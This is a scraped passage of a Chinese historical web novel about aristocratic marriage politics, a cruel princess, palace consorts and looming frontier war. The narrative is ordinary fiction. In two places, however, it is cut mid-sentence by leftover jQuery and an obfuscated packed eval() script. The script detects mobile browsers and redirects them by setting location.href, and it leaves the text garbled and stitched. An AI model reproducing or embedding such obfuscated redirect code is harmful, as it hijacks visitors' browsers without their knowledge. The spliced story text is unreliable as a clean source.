$(''.inform'').remove(); $(''#content'').append('' 安才收回眼神,却转向端木槿道:“不过郡主既然喜欢花木兰,倒不妨试试骑射,才好晓得木兰是沙场上真刀真枪英勇迎敌、抛头颅洒热血的本事,不是靠着父母权势,在宅院里逞口舌之快的。” 莞安羞红着脸躲到婷欢身后,婷欢却没注意她的事儿,只怕端木槿听明白了景安的意思又要做出些什么,便要拉着端木槿看回马场,端木琭却出声问道:“和宁妹妹在涯州真的见过边关的驻军吗?” “自然。”端木槿没在乎,道:“涯州是东北重镇、边关门户,怎么会少了驻守的将士。” “那......你有没有见过东北那些部族的人?” “部族,什么部族?” “就是女真族、契丹族之类的。” “契丹人没太见过,女真人与我们隔着边关相对而居,这些年互市也时断时续,自然是见过的。” 端木琭好似对此颇感兴趣,拉着端木槿问个不停,其余几人连话都插不上,只有婷欢和师言偶尔针对互市的事儿还能接上几句。端木槿起初还一句一句答着,然而她自己对这些部族相关的事儿没有任何兴趣,后来就越来越不耐烦,眉头逐渐皱紧,终于在端木琭问到女真人平日里吃什么的时候起身直道:“你烦不烦!若是想知道这些,为何不去看书,抓着我问这些做什么。” 端木琭惊讶地张着嘴,不知道说什么好。 正巧端木澈和师玘这会儿一前一后走上高台,碰上端木槿突如其来的火气不明就里,擦着汗问道:“怎么了怎么了?和宁妹妹怎么还生气了。” 端木琭仍旧懵着。安王端木崇和安王妃荆氏都是温吞内敛的人,还从来没有过这样疾言厉色的样子,而如今做出这番神情的又是他没见过几次的堂妹,更叫他不知道该如何应对了。 师玘迅速观察了一番,忙带着端木澈坐到端木琭身旁,提起方才端木澈学习骑射的事来,虽有些生硬,但到底把端木琭从困境中救了出来。 这边婷欢拉着端木槿道:“好端端的,郡主何必生这么大的火气。不如尝尝这点心果子,都是正当时的。”又将其中几碟稍稍向她推了推,道:“这几种是在京城数一数二的几家点心铺子买的,都是他们研究的新品,不妨尝尝。”心下只盼着端木萌能快些派人来叫他们去用午膳,免得她再在这儿受折磨。 不过端木萌兴许是没有听到女儿的心声,但是棠欢大概是感知到了姐姐的无奈,拉着幼桐蹦蹦跶跶的跑上了高台。后面奶娘紧跟着追上来,止不住朝婷欢等又赔罪又抱怨:“大姑娘恕罪,六姑娘非要来找您,拉着五姑娘就跑,也不许我们抱着,您看看怎么办罢!” 婷欢和景安分别将两个妹妹抱起来坐在膝上,笑道:“无妨,就叫她们两个也跟着我们罢。妈妈们就到下面歇歇罢。” 端木琭和端木澈也看过来,问道:“这就是侯府的五姑娘和六姑娘?” “是。”师言笑嘻嘻蹲在棠欢前面,举着她藕节似的白胖胳膊向端木琭和端木澈招招手,道:“小五小六,跟世子哥哥们打个招呼。” 棠欢从来不怯场,自己把手伸得更高,向端木琭和端木澈问好。端木澈却笑道:“我可不是什么世子,叫我表哥就行。” 端木琭便也顺势不许众人再称他世子,只以表兄弟称呼。棠欢立刻又各叫了一遍“表哥”。景安拍了拍怀中幼桐的肩,也鼓励她打招呼。幼桐到底内向腼腆,但还是小声问了好,只是话一说完便扭头钻进了姐姐怀里。 莞安在一旁笑着向端木琭和端木澈解释:“我们家四妹妹和五妹妹都像四婶,安静温柔,不大喜欢说话,不像小六一样活蹦乱跳的。” 棠欢又伸手向碟子里的糕点,婷欢赶紧拿帕子擦了擦她的手,“手脏不脏啊,就急着要吃点心。” “不是我要吃,我想送给表哥们吃。”不过听了婷欢的话,她小手一转,双手捧起了一个碟子,自己从婷欢身上下来端到端木澈和端木琭跟前,眼睛本就像葡萄般又圆又大,镶在小巧的脸盘上更是圆亮,像星子,像宝石,简直无人能抵抗这双眼睛。 端木琭和端木澈笑着一人拿了一个,又蹲下来与她道谢。棠欢显然很开心,又把碟子认真地放了回去,仍旧叫大姐姐抱着。 正巧这时候,楼下等着侍候的丫鬟和婆子上来告诉端木萌叫他们去用午膳的消息,师婷欢松了口气,道:“快去将二公子和五公子叫回来。”又将棠欢和幼桐交给奶娘,便与景安一道带着众人往望潮阁去。 44. 第 44 章 “反正我不要那个端木槿嫁到咱们家来!”师莞安眉毛都快立起来了,简直恨不得抱着手臂,活像只斗气的小公鸡了。 端木萌无奈笑了笑,又看向婷欢。婷欢叹道:“和宁郡主性子是有些古怪,好的时候像亲姐妹一般亲昵,转瞬又讥笑嘲讽阴阳怪气起来。而且,她待下人的态度也有些......残忍。” “什么郡主,我看她就是个自以为是的戏疯子。我看她怕不是还以为自己是戏台子上的女英雄罢?实际上就是个疯疯癫癫的跳梁小丑。”莞安接着说着,恨不得往地上呸一口。 “莞安!”景安轻声道。 端木萌叹道:“燕王府人口复杂,兴许这孩子是受了谁的影响......不过她也还小,到底是燕王妃唯一一个女儿,又是盼了好些年、好不容易才得的,被娇惯的张狂一点也没什么。” 端木婉倒是神情淡淡的,看向师迟他们问道:“你们呢?” 师迟摆了摆手:“我和五弟一直在马场跑马,什么也不知道。” 端木萌无奈:“早知道你是个玩心大的,昨日我嘱咐你们什么你是一点也不记得。” 师迟支吾着赔笑:“娘,那......安王世子他们也是客呀,我这不是也在好好待客嘛。” 端木婉瞬目看向师玘和师言,师玘遂道:“我只知道高台上的情形,之前的并不清楚,但高台上的确是三姐姐先出言激怒了郡主。不过后来五妹妹和六妹妹来了之后,郡主看六妹妹的眼神有些阴翳,但也许是我多心了。” 棠欢跳出来道:“这我知道,娘亲,姐姐她们在廊中的时候,郡主要惩罚她身边的一个不小心把茶水弄洒的侍女,拿地上的碎瓷片在那个侍女手上亲手划了好长好长的口子,我在旁边好远都看到血往下滴了。” 端木萌心一紧,招手叫棠欢到自己怀中,担心道:“棠儿有没有害怕?” “没有,我不怕,大姐姐带我去庄子里的时候,我还看见过几个小哥杀猪呢,那个血比这个多多了。” “你什么时候去看的杀猪?”婷欢皱眉瞪她,棠欢却做了个鬼脸躲到母亲怀中。 端木萌看向端木婉和张雁,忍不住叹道:“和宁这孩子......” “岂止!”莞安在旁边道:“小六应该是离得远不晓得,那茶杯压根就不是那个侍女碰倒的,分明是郡主自己不小心,袖子掠过那茶杯时将茶杯带倒的,她不分青红皂白就问罪那个侍女,分明就是精神不正常!” 端木婉看向景安,景安眉目间带着无奈,点头道:“三妹妹说的都是真的。” “若是这样,还是进宫与皇后娘娘说明,将与燕王府这桩婚事回绝了罢,燕王夫妇自己愿意养这么个女儿在家里,咱们没必要请这么个祖宗进门。”端木婉道。 “只是与燕王和齐王联姻,并不是容琯的主意,而是陛下说与容琯的。我只怕陛下那边不好交代,若是娶和宁郡主过门,好歹还是在咱们自家,可若是这桩婚事不成,陛下转头要我们将女儿嫁到燕王府去,那还不是进了狼窝!” 端木婉长叹一声,细长的眼角眉梢都不住地向下撇去,想要说什么却又止住话头,起身道:“太夫人昨日托我在大嫂留下来的书里面找一篇有容琇批注过的文章,我还没去找,先走一步。你们商议出什么法子再叫景儿她们告诉我罢。”说着便转身走了。 张雁看着愁眉不展的端木萌,便开口道:“不如先将和宁郡主的事放一放,先问问齐王府家的小郡王呢?” “哦,对。”端木萌来了精神,一边接过来绮红刚端过来的晾好的槐花蜜绿豆羹大吃了两口,一边用眼神看向几个姑娘询问。 婷欢和景安都摇了摇头,莞安叹道:“我光顾着盯着端木槿那丫头了,压根没注意。” 幼芷也摇头道:“我觉得他有点幼稚......” 张雁瞪大了眼睛看着女儿:“什么叫幼稚?那你希望未来的夫君是什么样子啊。” “沉稳的,严肃的,像大哥那样的。” 棠欢却道:“我觉得齐王家那个表哥挺好的啊,他笑起来很好看,吃了我的糕还跟我说谢谢。” 师迟笑道:“小六,说谢谢的又不止他一个,安王世子没跟你道谢吗?” “他俩不一样啊,安王世子闷闷的,长得也不好看。” “好了好了,棠儿才多大。不过澈儿那孩子倒的确是个美少年,像齐王妃,性格也不错。虽然比不上子持当年,但在芜郡那边肯定是数一数二了。” 张雁有些无语,道:“他人是好了,可咱家的姑娘们也没一个看上了的啊。” “小六看上了啊。”师迟笑道。 “滚滚滚,你今日那个疯样子别当我不晓得,我还没找你算账呢。”端木萌把帕子顺手朝师迟脸上扔去,又大吃了两口绿豆羹,起身道:“这绿豆羹好吃,叫厨房多做些,一人一碗。联姻这个事儿明日再说罢,大不了就让陛下指婚就是了,若是当真与燕王联姻,之后该如何做,我们再徐徐图之。” “对呗,咱们师家是什么样的人家,虽然不姓‘端木’,却也不是任他们拿捏的。”师迟道。 “师迟!胡说什么!”端木萌陡然竖眉,看向长子的眼中迸发出冷意。 师迟缩了缩脖子,却仍盯着母亲的眼睛,道:“娘......我又没说错什么......” 莞安在旁边附和道:“是呀三婶,二哥说的也没什么不对罢?这是在咱们自己家,又没有外人——” 景安瞪着莞安,抬手利落地掐了一下她的手,莞安便忙止住了话,觑着端木萌和景安的脸色往后缩了缩。一时间众人都被端木萌的脸色吓住,不敢有动作言语。师言本来也张着嘴想要附和,一直盯着说话的三姐,却被二姐的眼神吓住,便也闭上了嘴,低头回避母亲的神色。 夏日燥热,入了夜也不能缓解,更有蚊虫的声音似有似无萦绕在耳畔,吵得人心烦意乱。 张雁走到端木萌身旁挽住她的手,轻声劝道:“孩子们年纪还轻,也是无心之言......何况,莞姐儿说的也没错,这是在咱们自家,在外头的时候,哥儿姐儿们都是谨言慎行的,从没给咱们和皇后娘娘惹过麻烦,不是么。” 端木萌闭了闭眼,一口气哽在心头,自己背过身去掩饰住自己开始皲裂的脸色,试图压抑内心突然涌上的慌乱。张雁眼神恳切地在一旁盯着她,于是她终于还是回头,匆匆道:“这次便罢了,天也晚了,都回去早些睡罢。” 众人这才如释重负,各去做各自的事。张雁瞧着端木萌似有些不对劲,想送一送她,却被她回绝,只自己和行湘快速而凌乱地往回走。绮红绮香等人带着几个孩子在身后,想要追却又不大敢上前。 “‘虽然不姓端木’?”端木婉听了师玘的话,冷哼一声道,“你二哥这是忘了他母亲姓什么了。”她在萧晨的旧书架子上仔细翻找整理着,道:“还是你三叔权势滔天,外人大多只提‘太傅’和‘阳曲侯’,而时常隐去‘云和长公主’不提。若是公主驸马是个普通人,连这宅邸都该换上公主的封号做牌匾,且看他还会不会忘了自己母亲姓什么。” “三婶突然生气的原因就是这个吗?”师玘手上不停帮母亲整理着翻找过的卷轴,问道。 “差不多罢。她也不是生气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226159|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是想不到自己的孩子会说出来这样的话罢。”端木婉指尖翻过陈旧的墨迹,偶尔有不同墨色或是朱红的批注夹杂在页边,有些端庄舒展,是萧晨的字,有些则沉稳有力,是师晟的字,还有些歪歪扭扭,是小时候师焕的字。甚至还有一些,拿画画用的各种彩色颜料,用小叶筋或是花枝俏蘸着写上去的,便是师冉月幼时的杰作了。 而岳诗韫的藏书基本上就足够师吟月读了,后来她渐渐读完,也更喜欢去师道旷的书房找书,或者自己在外面买些喜欢的收藏,甚少到萧晨这里来借书,因此几十卷里也就能有一卷上有她的批注。萧晨后来卧病,也不曾整理过自己的书架,因此更是难找岳诗韫想要的那一页了。 “其实你二哥和莞安说的,从事实上来讲,倒也没什么错。咱家的孩子在外面大多还都懂得收敛自谦,但这也是长辈百般叮嘱的结果,不算你们自己的品德。不过说实在的,就是你们在外面狂妄自大,欺凌弱小,只要不到了篡位逆上的地步,的确没人敢置喙。所以大概还是因为‘不姓端木’这一句罢。” “可是国朝公主出降后式微也是寻常,甚至是君父为了提防外戚而墨守成规的事,婶母大概也晓得,为何还会如此在意二哥这句话呢?” “心气儿。”端木婉道。萧晨的书房里只点了几盏小灯,又用罩子罩着,只勉强能看清字。于是她的眸子也只有一些昏暗摇曳的光影,其余一片漆黑沉寂,像是干涸的墨汁。师玘看着她,好似觉得她完全置身事外,连说话时也像是在点评古人的事,似乎她既不是端木氏的平承郡主,也不是师家的二夫人。 “她自己可以无所谓外人敬她究竟有几分是因为她是‘白衣守宫’的长公主,还是全然因为她的夫婿是如今权势滔天的国舅、阳曲侯、师太傅。师家的光环不是一时的。在她前面那么多公主出降在先,各个都是活生生的例子,国朝的旧例也摆在那里,她不会不知道。但是她不会因为这些而忘记她是个公主。” 师玘从旁边替她拿来矮梯,她自己利落地爬了上去,坐靠在梯子上,取下靠上面的卷轴,用帕子拂了拂灰,继续翻看寻找起来。 “这么长时间她做阳曲侯夫人做的也很出色,换言之,假使当今人们更看重‘公主’,也不会因为‘公主’的身份抹杀了她作为阳曲侯府主持中馈的侯夫人的功绩。这两个身份没有哪个更重要或者更值得坚守,哪个做好了都是一种成功,好几十年来,我们这些人差不多都是这样想的,所以也无所谓这些细节。但是这不意味着她的孩子可以忘记自己身上还留着来自母亲的那一半血。迟哥儿的说法,相当于完全将她当作了师家的附庸、师家的一份子。” “可是......三婶不就是师家的‘一份子’吗?” 端木婉笑了笑,“这算是文字上的纰漏罢,或者说,是文字的魅力。” 师玘沉吟了一会儿,道:“意思是,三婶是师家的一份子,但不应该是完全附庸于师家,没有自己的身世、血脉的人,是吗?” “差不多吧。”端木婉葱白瘦削的手指蒙上一层灰,翻着翻着,突然顿住,笑了笑,将手中那卷合上递给儿子,自己从梯子上慢慢爬下来,道:“找到了,你去跑一趟,交给太夫人罢。” “您是要去三婶那里吗?” “我在这儿整理整理,然后回去。” “那三婶那里......” “不必担心。明日她要进宫与你六姑说今日的事,想必也会说到这一回。若是她从宫里回来还没好,我再过去找她也不迟。”又拍了拍他的肩道:“你也不要磨蹭,尽快回去,早睡早起。” “儿子知道了。” 45. 第 45 章 坤宁殿最近熏着加了萃取的茶叶汁水制成的新香,加上满屋子的冰块降温,显得格外清凉。师冉月又吩咐白日里都将门窗大开,不放过一点儿穿堂风,又叫人专门负责定时在庭前洒水降温,于是俞安乐、蒋纹等人也喜欢到她这儿来“纳凉”。 “昨日云和长公主殿下进宫,听说是有事与娘娘相谈,我们便也不敢来打扰。”俞安乐接过木莲端过来的冰晶凉粉,双眼像是日出一样骤然亮了起来,忍不住道:“娘娘宫里居然还有凉粉吃!从前妾随父亲去渝城任上时,夏日里恨不得每天都要吃两碗。” “前些日子新来了个渝城的厨子做的这个,的确最适合消暑纳凉。本宫又叫他们配上酥酪和放凉的麻薯,还有熬的各色果酱掺在一起,才是绝妙。” 吴秐笑道:“看来今日我们来娘娘这里是有口福了,那没口福的就叫她后悔去罢。” 师冉月心知她说的是谁,只笑而不语。 蒋纹笑道:“陛下也青睐娘娘宫里的菜,先前有一次陛下在妾阁中用晚膳,却没什么胃口,恰好妾那里还有一些娘娘赐的小菜和果脯,陛下吃了才觉得开胃,只可惜这样一来妾就没剩多少可吃了。” 师冉月笑开:“你这丫头,倒只惦记着本宫这点儿吃的,竟还与陛下争食。” “妾不敢。只是不怕娘娘取笑,若是没有这些规矩,妾只盼住到娘娘宫里来,日日都能吃到坤宁殿小厨房的饭。” “是啊是啊。”俞安乐点点头,像只小鹌鹑,道:“这宫里无趣得很,吃得好就是妾现在最大的乐趣了。”又道:“不过蒋妹妹这么一说,我才想起来,好像有些日子没见着陛下了。” 师冉月笑得摇头,平复了一会儿,才慢慢道:“陛下近来前朝事忙,不耽于后宫美色,勤勉持政,这是明君所为。” 吴秐却叹道:“娘娘贤德,我等也追随娘娘顺从恭谨,可是这宫里却还是有人不守规矩,恐怕有碍陛下和娘娘贤名。” 师冉月渐渐收了笑意,微微转头看向吴秐,脖颈像是盛开的莲花花茎。“吴才人,莫要妄言。” 吴秐却起身行礼,道:“娘娘,妾不曾妄言。这些日子那江才人日日傍晚都去清和殿,夜半三更才出来,若是叫前朝的大臣们知道了......” 师冉月挑眉,低头用柄上雕成双飞燕纹样的小巧银匙,一下一下拨弄着莹白如玉的瓷碗中剩下的一颗梅子。银匙轻轻碰撞着碗壁,哼着清脆的声响。 俞安乐道:“吴姐姐,你怎么知道江才人日日到清和殿去?我们的住处与江才人分属两边,平日里鲜少会碰面啊。” “我......”吴秐顿时语塞,眼神在俞安乐与师冉月之间来回瞟着,慌乱不已,只得低首敛眉,不作一语,却还是躬身向师冉月。 师冉月轻轻放下碗,双手搭在身前,眼睛像殿内冰坛里升起的凉雾,悠悠问道:“吴才人,这宫中可有规定,妃嫔不得自行去清和殿?” “没,没有。” “那陛下可曾不许她入内?” “未曾......” 她挑了挑眉,微微倾身向前,道:“妃嫔入宫,侍奉君王本就是分内之事,既如此,江才人有何错?前朝大臣知晓此事又会如何?”不待吴秐惶恐着做出回应,师冉月坐直了身子,立眉冷声道:“宫规森严,宫中无一人敢多嘴议论,私自传递后宫消息到前朝更是大罪,前朝大臣又该如何得知后宫妃嫔谁去了清和殿,又待了多久,难道是从吴御史那里么?” 吴秐登时下跪,仰头疾声道:“娘娘,妾不敢与宫外私相授受,妾的兄长也不知道后宫的事,今日是妾多嘴胡言乱语,请娘娘责罚。” 俞安乐和蒋纹也连忙起了身,看着吴秐狼狈,想要求情,却在看到师冉月岿然端坐在位子上,似乎没有看见吴秐的模样,便也将话咽了下去。 师冉月端起案上的放着的放了冰的八宝擂茶,这会儿冰化了一半,正合她口味。她吃了两口,似乎眼前根本没有吴秐这个人。吴秐得不到回应,更不敢一直抬头注视着师冉月,只能低下头去,控制不住地发抖。 殿内登时冷肃,似乎外面的湿热停滞的空气也被拦在了殿外。除却师冉月一人在上面坐着,吴秐与她的宫女在下面跪着,其余人皆肃立在一旁,不敢发出任何声响。 “罢了。”轻飘飘的两个字,像一根尾羽落在地上,有些分量,却没什么声响。 吴秐颤颤巍巍地试探着抬头,原先梳得光滑的发髻因为方才的动作有些松动,几绺头发松散下来,发丝凌乱糊在脸上。 “吴御史年轻有为,沉稳持重,是国之栋梁;探花郎也高山景行,在外为官明察秋毫,公正严谨,常为陛下夸赞。”她顿了顿,向音儿道:“带吴才人去偏殿稍事休整。” “谢娘娘。”吴秐低敛着眉,半抬眼间,瞥见师冉月脸上似乎挂着一丝若有若无的笑意,倏忽而逝。她连忙收回视线,不敢再多看,迅速起身跟着音儿去了偏殿。 听着吴秐的脚步声渐渐远去,俞安乐才小声道:“娘娘,吴姐姐......” “吴才人一时出口不慎,本是无心之举,本宫已教导过她,此事便罢了,不必再提。陛下近日国事繁忙,不常来后宫,你们若有心,也可如江才人一般主动去侍奉陛下,为陛下分忧,但切莫把握好分寸,莫要忘了国法宫规,做出什么不该做的事。” “妾谨听娘娘教诲。”俞安乐和蒋纹齐声道。 “都坐下吧。” 二人理了理衣裙重新坐下,木莲和春桃又捧上新茶来。蒋纹小心地侧眼,借着侧梳的发髻上垂下来的碎金坠珠的步摇稍作掩饰,觑着师冉月的神色,语气尽量稍显轻松,试探着开口道:“娘娘,听说您命人将御花园西侧原先的会仙楼收拾出来了,可是要重开戏台?” 会仙楼是太祖皇帝为了孝敬母亲特意修建,下旨遍请各地有名的戏班入宫贺寿,甚至不限于戏曲歌赋、弹词评唱,还有说书、双簧、皮影,皆不局限,只为讨母亲欢喜。后来太宗皇帝设有司,挑选当中德才兼备之人编入宫籍,养在宫中,平日与司乐局一同排练,待宫宴或庆典之时献艺。传至穆宗皇帝的叔父中宗皇帝时,因为中宗皇帝过于沉溺声色,与宫中的优伶戏子一同厮混排练唱曲,甚至自己装扮起来上台唱戏,终日昏沉,不务朝政,也没有留下子嗣,待穆宗皇帝入嗣继位后便将宫中的戏子全部赶了出去,命人将会仙楼落了锁,不再启用,及至如今已经废弃了几十个年头。 少许清风掀起,冷雾稍稍消散。 “本宫是有此意。” “若是真能重启戏台,那可真是一桩好事,连赵姐姐听说了都有点高兴呢。” 师冉月勾唇轻笑:“你们只是觉得宫中日子无趣,若能听戏,便可解闷凑趣。然而那会仙楼自中宗皇帝之后本就是奢靡荒淫的象征,只怕不说‘戏楼’,只提‘会仙’便要惹来诸多非议。外面百姓衣不蔽体、食不果腹,就算是京城,城墙底下也每天都有新的尸首。饥荒、兵乱,饿殍遍地,后妃身在宫中,享百姓衣食供奉,却只知自己奢侈享乐,并非好事。本宫命人打扫会仙楼,也只是不想宫中有这么一处地方荒废在那里,至于日后用作何用,再细细打算。” 蒋纹道:“娘娘教导的是,妾等考虑不周,实在惭愧。” “不说此事了。天色也要晚了,本宫也乏了,今日便到这儿罢。木莲,你着人将做好的麻薯和冰镇的酒酿圆子给俞才人和蒋才人带回阁去。” “谢过娘娘。” 俞、蒋二人方走,端木玦便蹦跳着回来,口中喊着“娘亲”跑到师冉月身前:“娘亲,你看,今日沈先生教我作诗了,儿臣写了昨晚娘亲带我看的月亮。” 师冉月拿起来认真念道:“昨夜檐上月,今时世间人。华光长相照,期许无离分。” “怎样怎样?” “好——写的极好。沈先生怎么说?” “沈先生说儿臣才刚学写诗,能写成这样,极有天赋!” “是嘛!玦儿可真厉害。等改日见到你爹爹,把这诗也拿给他瞧瞧,好不好?” “好!”端木玦认认真真地将自己的诗作折叠整齐,夹在书中保存好,交给合月好好保管,又问道:“今天晚上我们吃什么呀?” “就知道你还是一门心思惦记着吃。”师冉月笑道,“你先乖乖跟着合月姑姑去更衣,然后我们就用晚膳好不好?” “好!” 端木玦又一蹦一跳地被合月牵着回了偏殿。师冉月这才问音儿道:“吴才人后来如何了?” “她在偏殿重新梳了头发,便请我向娘娘告罪请辞。娘娘,吴御史与咱们侯爷素来交好,若是今日吴才人的事叫他知道了,会不会对因此......” “不会,吴称是个拎得清的人。我今日若是放任吴秐继续胡言乱语,才是真正害了吴家。她想争宠,心急,这本没什么,可她不自己去讨君主喜爱,反而嫉妒旁人,在我这儿做无用功、嚼舌根,还当着那么多人的面儿,实在愚蠢。” “那... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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端木萌闻言,犹豫道:“到底是他们自己成亲,是来日要过一辈子的......” 岳诗韫眼都没抬,亦没说话,只继续收着花具。 端木萌败下阵来,叹道:“好罢,我晓得了。”说着便也起身,不再多叨扰,然而甫一出门,却看见张雁等在外面,便牵起笑问候道:“弟妹怎么来了。” “......我来给太夫人送些糕点。” “哦,是了,瞧我这脑子。”端木萌笑道,“太夫人刚侍弄完花草,你也快进去罢。” 说来她倒的确总是未将岳诗韫当作师家的长辈,毕竟她的婆母另有其人,而又因着姨甥这层关系,便常常把她只当自己的姨母来看待,倒忘了她还是师骁和师吟月的生母了。 张雁却未挪步,踌躇着问道:“三嫂,你才从宫中回来......皇后娘娘对赐婚的事,怎么说?” “哦,那件事不必挂心。”端木萌想了想,略微压低了声音,又道:“你若是不想让五哥儿娶郡主,便趁早给他定一门亲。” 张雁却道:“可惜我自小长在南边,这二年也不常在外面应酬,对京中这些人家也不大了解。若是可以,还得烦请你帮我定夺了。” “这倒没什么。左右我给四哥儿相看时,你一并从中选一选就好了。”师言与师琦年岁相仿,身量也相似,自小做衣裳都是一样的尺寸一人一套,如今议亲也可捉一对儿了。 张雁柔柔地笑了笑,虚抚着端木萌手道:“那就多谢嫂子了。” 端木萌笑着看她进了岁苍斋,这才回身往留容轩去。路过水沁池,看见景安、莞安还有幼芷三个坐在廊桥上拿柳枝逗鱼,走过去笑道:“怎么在这儿坐着?” 三个姑娘放下柳枝起身与端木萌问安,回道:“这儿凉快,也安静。” “婷欢呢?” “大姐姐在大哥书房呢。好似是有一位大哥的同窗来拜访,不知怎么碰上了大姐姐,要切磋学问呢。”莞安道。 景安补充道:“大姐姐是扮的男装。” 端木萌无奈笑叹:“这孩子——罢了,你们好好玩,当心别掉下去就是了,也别只顾着挑逗那些鱼,喂点食给它们,怪可怜的。”说着也就走了。 莞安愣了愣,看着池子里那些胖的像猪的鱼,道:“三婶婶刚刚是说这些鱼可怜么?” 景安笑道:“三婶婶怕是都没仔细看这些鱼,心思都在别处呢。不过说鱼可怜这种话,倒有些像姑姑说的呢。” 46. 第 46 章 端木萌这厢回了留容轩,恰看到师霖只穿了件蚕丝的褂子,略微敞着怀,趟在院中的瓜架子下的藤椅上纳凉。一旁的小藤桌上还摆着一壶桂花酒酿和几块点心,好不惬意。 她走过去,将扇子往师霖脸上一扇,道:“怎么在这儿躲闲?” “焕哥儿的几个同窗过来拜访切磋学问,我在前面,他们拘束着放不开。”其实难得的休沐,就算没什么理由,师霖也大多回留容轩来躺着,并不常在前院的书房里待。 “景姐儿她们说婷儿也扮了男装,与焕哥儿的同窗切磋学问,你可瞧见了没有?” 师霖蓦地坐直,道:“我倒没碰上,这不是——” “哎,倒也算不上胡闹。”端木萌走到他身旁坐下,师霖向一旁挪了挪给她让出位置,从善如流地帮她捏肩。“左右该为她选个夫家了,来找焕哥儿的想必都有可能是新科举子,婷儿若真看中了哪一个岂不正好?” 师霖愣了愣,问道:“倘若她看中的人出身寒门呢?” “那也无妨,否则岂不全都是这些个人你嫁我我娶你的。” 这些名门望族的势力仿佛千年古树的根系一般盘根错节,却也不能只是这些根系枝条间自己相互缠绕,时不时也要吸取一些新的养料,才能生生不息。 端木萌接着道:“何况又不是任婷儿随意选了谁就是谁了,总归还是要我们来把关的。彼时若是值得栽培,哪怕出身再低微也没什么。若是不堪重用,无法给我们带来回报,那就也没有什么必要了。婷儿自己是个懂事可靠的,那等人她自己必然也不会青睐,不需要我们太多操心。” “我说你这些日子总像是有心事,原来就是在盘算这些。” “自然。”端木萌微微昂着头,“若是我们自己有打算,大可在陛下赐婚前将儿女的婚配都定下,陛下也没有强拆人姻缘的道理。” 师霖却叹道:“陛下已经借皇后娘娘的口向我们提了与齐王、燕王联姻之事,我们就不能当作不知。” “我也晓得。”端木萌点头,却又跳跃道:“不过你怎么晓得我这些日子有心事?这几日你都忙得不见影儿了。” “哦,原来殿下是想我了。” 端木萌扭头道:“我是怕你不知道死在哪儿。”又道:“是前朝有什么要紧事?” “东北恐要生乱。” 端木萌睁大了眼睛,道:“前些日子子锋回来说的不是他们内乱,老藩王向我朝请求派兵镇压吗?” “未及商议出来是否派兵,我们与在东北的密探的消息就已经断了,又有风言风语说老藩王已经被刺杀身亡,于是陛下便下令暂且按兵不动。燕王一家紧急回涯州、陛下也不再着急联姻一事也是这个原因。虽然陛下不放心燕王手握兵权,但事出紧急,只有燕王最了解东北边关的状况,也只能如此。” “部族内部自己出了矛盾,只待他们自己内斗完了,推出一位新的首领,我们再派人去授印册封不就是了。” “东北的女真部势力庞大,燕山往北,出了山海关,一直到极寒之地,皆在他们的掌控之下,又是能征善战之族,比起西南部族叛乱自是不可同日而语,必须要谨慎小心。我们的密探又没有消息,大概率已经遇害。老藩王隆世昌虽效忠我朝,然而女真部其他人常有不臣之意,按照失联前密探送来的消息,此次叛乱极有可能是隆世昌的二儿子纳真。从前隆世昌在世时他也常率部下扰边,屡次挑衅,若他当真杀了隆世昌被推举为新王,边关终有一战。如此,自然要趁其羽翼尚未丰满,尽早出手。” “你的意思是......也许不日我们就要与其开战?” “是。”师霖眸色暗沉,一脸凝重,完全没有了休沐的闲适之意。端木萌闻言更是忧心忡忡,道:“若是如此......朝中会派谁领兵平叛?” 一半虎符必定要交到燕王手中,并且燕王世代镇守北境,名下本就比旁的藩王多领着几千兵卒,以备不时之需。而为了制衡,另一半必要由端木玄的亲信持有,然而端木玄自登基后,基本没有特别提拔过原先在慕州就追随自己的武将,只是平调到朝中各个重要但又不显贵的关口,更多人以缙云长公主驸马安西将军高司和乐安长公主驸马颍川守备李臣义为代表的,都驻守在边关和地方,轻易不会调动。 如今在京武将之首,是已经六十七岁高龄的左卫上将军林守贯和殿前都指挥使郭率。郭率出身武将世家,然而本身没什么功绩,也没什么错处,人老成稳重。端木玄初登基时为了拉拢京中武将,便将原先由史自兴亲信担任的殿前都指挥使一职暂且交由郭率。比起他,殿前营中最有威望的是五年前才从北关调回京中战功显赫的副都指挥使成巳将军。 “武宗时期较有能力的武将后来大多在诛杀史党时被牵连,有几个被满门抄斩的,其余的稍好些也是被贬官流放。不到万不得已的时候陛下也不会重新启用这些人。如今兵部尚书的位置暂时空缺,兵部侍郎赵江寒是个文人,谋略尚可,却不能骑马带兵。” “京中大小武官不说上万也有数千,竟都是吃白饭的么?” “那些大多数都是荫官上来的,不说是‘窝囊废’都已经算好的了——若我说,这些武将十有八九,上阵带兵还不如陛下。”端木玄虽是个半路出家的,但大概是这方面的确有些天赋,加上平叛西南和镇守西北以及围城逼宫时的经验,的确可叫人信服。 “那有什么用,陛下总不能亲征罢?一个女真族的叛乱而已,是真是假都还不知道。若是那个纳......纳什么——” “纳真。” “啊,纳真。说不定纳真没有反叛之意,反而与我朝主动交好呢。” 师霖叹了口气,看了端木萌一会儿,却只摇了摇头道:“但愿罢。” 端木萌方才还有的一点忧心便也慢慢平复。她自小少有忧心之事,出降后父母兄嫂一一亡故、外祖家遭难,短短几年经历众多亲友辞世,有些早有准备,有些却是厄运当头措不及防。早些时候她也常惊惧,白日里装的满不在乎,夜半却从噩梦中惊醒,而后便再也不得安眠,辗转至天明,又披起平和的皮到人前,日日如此反复被折磨得不成样子。后来不知是她自己想通了还是被磨得迟钝了,她便不再为未曾降临的雨提前备伞,更不会望着天上那一点点云丝担忧。 